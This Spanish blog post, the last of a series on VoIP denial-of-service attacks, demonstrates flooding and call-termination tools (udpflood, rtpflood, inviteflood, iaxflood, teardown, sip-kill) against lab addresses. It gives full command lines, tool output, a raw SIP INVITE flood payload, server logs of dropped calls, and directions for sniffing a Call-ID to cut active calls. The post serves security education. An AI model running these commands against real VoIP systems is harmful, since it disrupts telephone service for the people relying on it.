Ataques de denegación de servicio en VoIP (III)

Terminamos la serie de artículos sobre ataques de Denegación de Servicio (DoS attacks) en redes VoIP analizando herramientas específicas de ataque. En el primer artículo comentamos aspectos teóricos de los ataques DoS en general y en VoIP en particular y en el segundo artículo hablamos de fuzzers o herramientas para generar tráfico y hacer tests de stress a infraestructuras de red. Espero que os resulte interesante esta última entrega 😉

Además de los fuzzers (herramientas para generar tráfico y hacer tests de estrés a infraestructuras de red), es posible hacer ataques de DoS con programas específicamente diseñados para ello. Algunas de estas herramientas han sido desarrolladas como de código de muestra para el libro Hacking VoIP Exposed, otras existían anteriormente como herramientas para ataques DoS a flujos UDP o RTP.

UDPflood

UDPflood envía una tormenta o flood de paquetes UDP con el objetivo de saturar el destino, que puede ser cualquier dispositivo de VoIP.

Para utilizarlo es preciso especificar la dirección IP de origen, dirección IP de destino, el puerto de origen y el de destino y el número de paquetes a enviar:

udpflood 192.168.0.3 192.168.0.2 5060 5060 10000000000

La capacidad de resistencia a este ataque dependerá de las características de hardware de los dispositivos a atacar.

RTPflood

Al igual que UDPflood, RTPflood envía una tormenta de paquetes RTP al destino que especifiquemos.

Antes de lanzar el flood de paquetes RTP es necesario saber en qué puerto escucha paquetes RTP el dispositivo que queremos atacar. Por poner un ejemplo, los softphones, por defecto, abren puertos empezando en el 8000 secuencialmente según vayan necesitando para cada sesión RTP.

rtpflood 192.168.0.3 192.168.0.2 8000 8002 1000000 15000 2000 1886986910

Will flood port 8002 from port 8000 1000000 times
Using sequence_number 15000 timestamp 2000 SSID 1886986910

We have IP_HDRINCL

Number of Packets sent:

Sent 15579 160 579

INVITEflood

INVITEflood realiza un envío masivo de peticiones INVITE a un servidor con el objetivo de colapsarlo. El servidor tratará de atender a todas las llamadas generadas consumiendo gran cantidad de recursos.

Un ejemplo de su uso:

inviteflood eth0 500 192.168.0.2 192.168.0.2 1000000 -a hacker

inviteflood - Version 2.0
              June 09, 2006

source IPv4 addr:port   = 192.168.0.3:9
dest   IPv4 addr:port   = 192.168.0.2:5060
targeted UA             = 500@192.168.0.2

Flood User Alias: hacker

Flooding destination with 1000000 packets
sent: 4204514
exiting...

Si observamos lo que ocurre en el lado del servidor, veremos que el ataque está teniendo éxito:

[Jan 14 20:23:28] WARNING[16218]: chan_sip.c:1872 retrans_pkt: Hanging up call 1bd6e44d-a830-445a-a3b3-030000000003 - no reply to our critical packet.
[Jan 14 20:23:28] WARNING[16218]: chan_sip.c:1855 retrans_pkt: Maximum retries exceeded on transmission 1bd6e44d-a830-445a-a3b3-030000000004 for seqno 4 (Critical Response)
[Jan 14 20:23:29] WARNING[16218]: chan_sip.c:1872 retrans_pkt: Hanging up call 1bd6e44d-a830-445a-a3b3-030000000004 - no reply to our critical packet.
[Jan 14 20:23:29] WARNING[16218]: chan_sip.c:1855 retrans_pkt: Maximum retries exceeded on transmission 1bd6e44d-a830-445a-a3b3-030000000005 for seqno 5 (Critical Response)
[Jan 14 20:23:29] WARNING[16218]: chan_sip.c:1872 retrans_pkt: Hanging up call 1bd6e44d-a830-445a-a3b3-030000000005 - no reply to our critical packet.
[Jan 14 20:23:29] WARNING[16218]: chan_sip.c:1855 retrans_pkt: Maximum retries exceeded on transmission 1bd6e44d-a830-445a-a3b3-030000000006 for seqno 6 (Critical Response)
[Jan 14 20:23:29] WARNING[16218]: chan_sip.c:1872 retrans_pkt: Hanging up call 1bd6e44d-a830-445a-a3b3-030000000006 - no reply to our critical packet.
[Jan 14 20:23:29] WARNING[16218]: chan_sip.c:1855 retrans_pkt: Maximum retries exceeded on transmission 1bd6e44d-a830-445a-a3b3-030000000007 for seqno 7 (Critical Response)

Si ejecutamos INVITEflood con la opción -v podremos ver qué es lo que se está enviando:

inviteflood eth0 500 192.168.0.2 192.168.0.2 1000000 -a hacker -v

inviteflood - Version 2.0
              June 09, 2006

source IPv4 addr:port   = 192.168.0.3:9
dest   IPv4 addr:port   = 192.168.0.2:5060
targeted UA             = 500@192.168.0.2

Flood User Alias: hacker
Verbose mode

Flooding destination with 1000000 packets

Packet:
0000  49 4e 56 49 54 45 20 73  69 70 3a 35 30 30 40 31
[...]
0420  3a 6f 66 66 20 2d 20 2d  20 2d 20 2d 0d 0a

SIP PAYLOAD for packet 0:
INVITE sip:500@192.168.0.2 SIP/2.0
Via: SIP/2.0/UDP 192.168.0.3:9;branch=c3f8b062-a838-445a-9b37-790000000001
Max-Forwards: 70
Content-Length: 460
To: 500 <sip:500@192.168.0.2:5060>
From: hacker <sip:hacker@192.168.0.3:9>;tag=c3f8cec5-a838-445a-8dee-340000000001
Call-ID: c3f8e8de-a838-445a-bffe-620000000001
CSeq: 0000000001 INVITE
Supported: timer
Allow: NOTIFY
Allow: REFER
Allow: OPTIONS
Allow: INVITE
Allow: ACK
Allow: CANCEL
Allow: BYE
Content-Type: application/sdp
Contact: <sip:hacker@192.168.0.3:9>
Supported: replaces
User-Agent: Elite 1.0 Brcm Callctrl/1.5.1.0 MxSF/v.3.2.6.26

v=0
o=MxSIP 0 639859198 IN IP4 192.168.0.3
s=SIP Call
c=IN IP4 192.168.0.3
t=0 0
m=audio 16388 RTP/AVP 0 18 101 102 107 104 105 106 4 8 103
a=rtpmap:0 PCMU/8000
a=rtpmap:18 G729/8000
a=rtpmap:101 BV16/8000
a=rtpmap:102 BV32/16000
a=rtpmap:107 L16/16000
a=rtpmap:104 PCMU/16000
a=rtpmap:105 PCMA/16000
a=rtpmap:106 L16/8000
a=rtpmap:4 G723/8000
a=rtpmap:8 PCMA/8000
a=rtpmap:103 telephone-event/8000
a=fmtp:103 0-15
a=silenceSupp:off - - - -
sent: 1

Teardown

Teardown emplea peticiones BYE para finalizar llamadas en curso. Previamente a la ejecución de este programa es necesario conocer el Call-ID, para lo cual basta con capturar previamente utilizando un sniffer dicho parámetro, que se define cuando el agente de usuario envía al servidor una petición de INVITE para iniciar una nueva conversación.

Los parámetros necesarios para poder ejecutar teardown son:

  • interfaz de red.
  • usuario.
  • dominio.
  • dirección IP del Servidor SIP.
  • CALL_ID.
  • usuario de origen.
  • usuario de destino.

Ejemplo de uso:

# teardown eth0 500 192.168.0.2 192.168.0.2 6113C052-4E28-2AAF-3FB6-5DC44A483EF9@192.168.0.3 400 400

IAXflood

En la línea de todos los programas anteriores, IAXflood es una herramienta de saturación para el protocolo IAX2 de Digium, empleado por PBX Asterisk.

Su funcionamiento es bastante sencillo, solamente requiere tres parámetros: IP de origen, IP de destino y número de paquetes.

iaxflood 192.168.0.3 192.168.0.2 10000000

Will flood port 4569 from port 4569 10000000 times
We have IP_HDRINCL

Number of Packets sent:

Sent 1310797

El impacto, sin embargo, no es muy notorio:

top

top - 20:40:34 up 5 days, 12 min,  1 user,  load average: 0.13, 0.86, 2.19
Tasks: 104 total,   1 running, 103 sleeping,   0 stopped,   0 zombie
Cpu(s):  1.0%us,  2.3%sy,  0.0%ni, 54.2%id,  0.0%wa, 30.6%hi, 12.0%si,  0.0%st
Mem:    288596k total,   283744k used,     4852k free,     3568k buffers
Swap:   498004k total,    52540k used,   445464k free,    85300k cached

  PID USER      PR  NI  VIRT  RES  SHR S %CPU %MEM    TIME+  COMMAND
16195 root      18   0  165m  49m 3208 S  3.9 17.4   6:00.77 asterisk
 8233 root      17   0  2260 1156  868 R  2.0  0.4   0:01.75 top
    1 root      16   0  1952  468  444 S  0.0  0.2   0:00.82 init

SIP-kill

SIP-kill es un script en Perl que captura tráfico en busca de mensajes INVITE de SIP y corta las nuevas llamadas que detecta empleando diferentes métodos.

Como está programado en Perl, debemos asegurarnos de que el entorno de trabajo es el idóneo, para ello es preciso instalar los ports para Perl de las librerias Pcap, RawIP y NetPacket. Podemos hacerlo a través de los paquetes existentes en la mayoría de distribuciones de Linux/BSD o bien usando CPAN.

Una vez obtenidas las librerías, podemos ejecutar SIP-kill sin problemas:

sip-kill.pl -ieth0 -mBYE

Response to INVITE from 6001@txipinet.com to 500@192.168.0.2
Response to INVITE from 500@192.168.0.2 to 6001@txipinet.com

Deja un comentario

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *